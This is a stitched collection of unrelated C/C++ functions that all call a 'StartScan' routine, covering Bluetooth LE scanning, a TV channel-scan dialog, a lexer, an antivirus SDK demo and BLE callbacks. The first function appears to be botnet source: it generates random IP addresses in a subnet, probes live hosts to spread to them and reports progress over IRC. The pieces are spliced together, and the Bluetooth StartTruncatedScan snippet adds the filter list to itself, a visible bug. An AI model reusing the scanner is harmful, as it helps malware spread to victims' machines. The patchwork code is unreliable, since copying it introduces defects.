void *CScannerBase::Run()
{ if(!(g_cMainCtrl.m_cBot.scan_maxthreads.iValue<m_pScanner->m_iNumThreads))
{ m_pScanner->m_iNumThreads++;
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning subnet %s for %d seconds.", m_sScannerName.CStr(), m_sRange.CStr(), m_iTime);
int addr[10]; CString sTokens[10]; char *szIpBuf=(char*)malloc(20);
unsigned long lTime=(unsigned long)m_iTime*1000; unsigned long lStart;
CString sHost, sNetMask;
sHost=m_sRange.Token(0, "/"); sNetMask=m_sRange.Token(1, "/");
addr[1]=atoi(sHost.Token(0, ".").CStr()); addr[2]=atoi(sHost.Token(1, ".").CStr());
addr[3]=atoi(sHost.Token(2, ".").CStr()); addr[4]=atoi(sHost.Token(3, ".").CStr());
addr[5]=atoi(sNetMask.CStr());
srand(GetTickCount()); lStart=GetTickCount();
while(((GetTickCount()-lStart)<=lTime) && m_pScanner->m_bScanning)
{ sprintf(szIpBuf, "%d.", addr[1]); int u;
for(u=2; u<(addr[5]/8)+1; u++) { if(u<4) sprintf(szIpBuf, "%s%d.", szIpBuf, addr[u]); else sprintf(szIpBuf, "%s%d", szIpBuf, addr[u]); }
for(int k=u; k<5; k++) { if(k<4) sprintf(szIpBuf, "%s%d.", szIpBuf, rand()%255); else sprintf(szIpBuf, "%s%d", szIpBuf, rand()%255); }
if(TestHost(CString(szIpBuf))) StartScan(CString(szIpBuf)); }
free(szIpBuf);
if(m_pScanner->m_bScanning)
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scan of %s finished in %d seconds.", m_sScannerName.CStr(), m_sRange.CStr(), (GetTickCount()-lStart)/1000);
m_pScanner->m_iNumThreads--; }
g_cMainCtrl.m_lCanJoin.push_back(this); return NULL; }
ECode BluetoothLeScanner::StartTruncatedScan(
/* [in] */ IList* truncatedFilters,
/* [in] */ IScanSettings* settings,
/* [in] */ IScanCallback* callback)
{
Int32 filterSize;
truncatedFilters->GetSize(&filterSize);
//List<ScanFilter> scanFilters = new ArrayList<ScanFilter>(filterSize);
AutoPtr<IList> scanFilters;
CArrayList::New((IList**)&scanFilters);
//List<List<ResultStorageDescriptor>> scanStorages =
// new ArrayList<List<ResultStorageDescriptor>>(filterSize);
AutoPtr<IList> scanStorages;
CArrayList::New((IList**)&scanStorages);
//for (TruncatedFilter filter : truncatedFilters) {
Int32 size;
truncatedFilters->GetSize(&size);
for (Int32 i = 0; i < size; ++i) {
AutoPtr<IInterface> obj;
truncatedFilters->Get(i, (IInterface**)&obj);
ITruncatedFilter* filter = ITruncatedFilter::Probe(obj);
AutoPtr<IScanFilter> scanFilter;
filter->GetFilter((IScanFilter**)&scanFilter);
scanFilters->Add(TO_IINTERFACE(scanFilters));
AutoPtr<IList> list;
filter->GetStorageDescriptors((IList**)&list);
scanStorages->Add(TO_IINTERFACE(list));
}
StartScan(scanFilters, settings, callback, scanStorages);
return NOERROR;
}
ECode BluetoothLeScanner::StartScan(
/* [in] */ IList* filters,
/* [in] */ IScanSettings* settings,
/* [in] */ IScanCallback* callback)
{
StartScan(filters, settings, callback, NULL);
return NOERROR;
}
bool cVNSIChannelScan::OnClick(int controlId)
{
if (controlId == SPIN_CONTROL_SOURCE_TYPE)
{
int value = m_spinSourceType->GetValue();
SetControlsVisible((scantype_t)value);
}
else if (controlId == BUTTON_BACK)
{
m_window->Close();
GUI->Control_releaseSpin(m_spinSourceType);
GUI->Control_releaseSpin(m_spinCountries);
GUI->Control_releaseSpin(m_spinSatellites);
GUI->Control_releaseSpin(m_spinDVBCInversion);
GUI->Control_releaseSpin(m_spinDVBCSymbolrates);
GUI->Control_releaseSpin(m_spinDVBCqam);
GUI->Control_releaseSpin(m_spinDVBTInversion);
GUI->Control_releaseSpin(m_spinATSCType);
GUI->Control_releaseRadioButton(m_radioButtonTV);
GUI->Control_releaseRadioButton(m_radioButtonRadio);
GUI->Control_releaseRadioButton(m_radioButtonFTA);
GUI->Control_releaseRadioButton(m_radioButtonScrambled);
GUI->Control_releaseRadioButton(m_radioButtonHD);
if (m_progressDone)
{
GUI->Control_releaseProgress(m_progressDone);
m_progressDone = NULL;
}
if (m_progressSignal)
{
GUI->Control_releaseProgress(m_progressSignal);
m_progressSignal = NULL;
}
}
else if (controlId == BUTTON_START)
{
if (!m_running)
{
m_running = true;
m_stopped = false;
m_Canceled = false;
m_window->SetProperty("Scanning", "running");
m_window->SetControlLabel(BUTTON_START, XBMC->GetLocalizedString(222));
StartScan();
}
else if (!m_stopped)
{
m_stopped = true;
m_Canceled = true;
StopScan();
}
else
ReturnFromProcessView();
}
return true;
}
void
LEXR::Terminate()
{
TKN * ptkn;
#if OptLexrInclude != 0
while (istmgCur > 0) {
if ((fhFile = rgstmg[istmgCur].FhFile()) != NULL) {
fclose(fhFile);
fhFile = NULL;
}
if ((szFile = rgstmg[istmgCur].SzFile()) != NULL) {
delete [] szFile;
szFile = NULL;
}
istmgCur -= 1;
}
#endif
/* Free all of the TKN objects used by this LEXR
*/
StartScan(); // this puts all TKN's on the free list.
while (ptknFree != NULL) {
ptkn = ptknFree;
ptknFree = ptkn->PtknNext();
delete ptkn;
}
/* Release the line buffer if we allocated it.
*/
if (flg.FTst(flgLexrOwnLine)) {
delete [] szLine;
szLine = NULL;
}
if (szFile != NULL) {
delete [] szFile;
szFile = NULL;
}
if (fhFile != NULL) {
fclose(fhFile);
fhFile = NULL;
}
#if OptLexrKeywords != 0
mpsmKwd.clear();
#endif
flg.Reset();
}
ECode BluetoothLeScanner::StartScan(
/* [in] */ IScanCallback* callback)
{
if (callback == NULL) {
//throw new IllegalArgumentException("callback is null");
Logger::E("BluetoothLeScanner::StartScan", "callback is null");
return E_ILLEGAL_ARGUMENT_EXCEPTION;
}
AutoPtr<IScanSettings> scanSettings;
AutoPtr<ScanSettings::Builder> builder = new ScanSettings::Builder();
builder->Build((IScanSettings**)&scanSettings);
StartScan(NULL, scanSettings, callback);
return NOERROR;
}
int main(int argc, char* argv[])
{
DWORD hScan = 0, res;
zRPCAnswer answer;
wchar_t buffer[1024];
GetEnvironmentVariable(L"ZSDK_BASES",(wchar_t*)&buffer, 1024);
hScan = StartScan(L"c:\\WINDOWS\\notepad.exe");
while(1)
{
res = GetScanData(hScan, answer);
if(res != ZSDK_REQUEST_MORE_DATA)
break;
}
return 0;
}
void AppCallBack(uint32 event, void* eventParam)
{
#ifdef DEBUG_OUT
DebugOut(event, eventParam);
#endif
switch(event)
{
case CYBLE_EVT_GAP_DEVICE_DISCONNECTED:
Disconnect_LED_Write(LED_ON);
case CYBLE_EVT_STACK_ON:
StartScan(CYBLE_UUID_HEART_RATE_SERVICE);
break;
case CYBLE_EVT_GAP_DEVICE_CONNECTED:
/* Send authorization request. */
apiResult = CyBle_GapAuthReq(cyBle_connHandle.bdHandle, &cyBle_authInfo);
if(CYBLE_ERROR_OK != apiResult)
{
printf("CyBle_GapAuthReq API Error: %x \r\n", apiResult);
}
else
{
printf("Authentification request is sent \r\n");
}
Disconnect_LED_Write(LED_OFF);
Scanning_LED_Write(LED_OFF);
break;
case CYBLE_EVT_GAP_AUTH_COMPLETE:
hrsConnHandle.bdHandle = cyBle_connHandle.bdHandle;
StartDiscovery();
break;
case CYBLE_EVT_GATTC_DISCOVERY_COMPLETE:
/* Send request to read the body sensor location char. */
apiResult = HrscReadBodySensorLocation();
if(apiResult != CYBLE_ERROR_OK)
{
printf("HrscReadBodySensorLocation API Error: %x \r\n", apiResult);
}
else
{
printf("Body Sensor Location Read Request is sent \r\n");
}
break;
case CYBLE_EVT_L2CAP_CONN_PARAM_UPDATE_REQ:
printf("CYBLE_EVT_L2CAP_CONN_PARAM_UPDATE_REQ: %x, %x, %x, %x \r\n",
((CYBLE_GAP_CONN_UPDATE_PARAM_T *)eventParam)->connIntvMax,
((CYBLE_GAP_CONN_UPDATE_PARAM_T *)eventParam)->connIntvMin,
((CYBLE_GAP_CONN_UPDATE_PARAM_T *)eventParam)->connLatency,
((CYBLE_GAP_CONN_UPDATE_PARAM_T *)eventParam)->supervisionTO
);
/* Accepted = 0x0000, Rejected = 0x0001 */
CyBle_L2capLeConnectionParamUpdateResponse(cyBle_connHandle.bdHandle, 0u);
break;
default:
break;
}
}
void AppCallBack(uint32 event, void* eventParam)
{
CYBLE_API_RESULT_T apiResult;
CYBLE_GATTS_WRITE_REQ_PARAM_T *wrReqParam;
uint8 len;
#ifdef DEBUG_OUT
DebugOut(event, eventParam);
//printf("ACB evt: %ld \r\n",event);
#endif
switch(event)
{
case CYBLE_EVT_STACK_ON:
printf("EVT_STACK_ON \r\n");
goto start_scan;
case CYBLE_EVT_GAP_DEVICE_DISCONNECTED:
BleConnected = 0;
printf("EVT_GAP_DEVICE_DISCONNECTED \r\n");
goto start_scan;
case CYBLE_EVT_TIMEOUT:
printf("EVT_TIMEOUT \r\n");
start_scan:
if(BleConnected == 0)
{
StartScan(CYBLE_UUID_CUSTOM_UART_TX_SERVICE);
//Scanning_LED_Write(LED_ON);
ble_state = BLE_SCAN_STATE;
}
break;
#ifndef DEBUG_OUT
case CYBLE_EVT_GAPC_SCAN_PROGRESS_RESULT:
ScanProgressEventHandler((CYBLE_GAPC_ADV_REPORT_T *)eventParam);
break;
case CYBLE_EVT_GAPC_SCAN_START_STOP:
printf("EVT_GAPC_SCAN_START_STOP \r\n");
if(0u != (flag & CONNECT))
{
printf("Connect to the Device: %x \r\n", deviceN);
/* Connect to selected device */
apiResult = CyBle_GapcConnectDevice(&peerAddr[deviceN]);
if(apiResult != CYBLE_ERROR_OK)
{
printf("ConnectDevice API Error: %x \r\n", apiResult);
}
flag &= ~CONNECT;
BleConnected = 1;
}
break;
case CYBLE_EVT_GATTC_HANDLE_VALUE_NTF:
wrReqParam = (CYBLE_GATTS_WRITE_REQ_PARAM_T *) eventParam;
if(wrReqParam->handleValPair.attrHandle == UART_TX_HANDLE)
{
len = wrReqParam->handleValPair.value.len;
Buffer[0] = len;
memcpy(&Buffer[1],wrReqParam->handleValPair.value.val,len);
uCommState.Bit.BLERxFinshed = ENABLED;
//printf("len %d buf[0] %d \r\n", len,Buffer[0]);
}
break;
case CYBLE_EVT_GATT_CONNECT_IND:
printf("EVT_GATT_CONNECT_IND \r\n");
break;
case CYBLE_EVT_GATTC_XCHNG_MTU_RSP:
printf("CYBLE_EVT_GATTC_XCHNG_MTU_RSP \r\n");
break;
#endif
case CYBLE_EVT_GAP_DEVICE_CONNECTED:
printf("EVT_GAP_DEVICE_CONNECTED \r\n");
apiResult = CyBle_GattcExchangeMtuReq(cyBle_connHandle,0x200);
if(apiResult == CYBLE_ERROR_OK)
{
printf("zozo test exchg mtu req send\r\n");
}
ble_state = BLE_CONNECTED_STATE;
break;
case CYBLE_EVT_GATTC_DISCOVERY_COMPLETE:
break;
default:
break;
}
}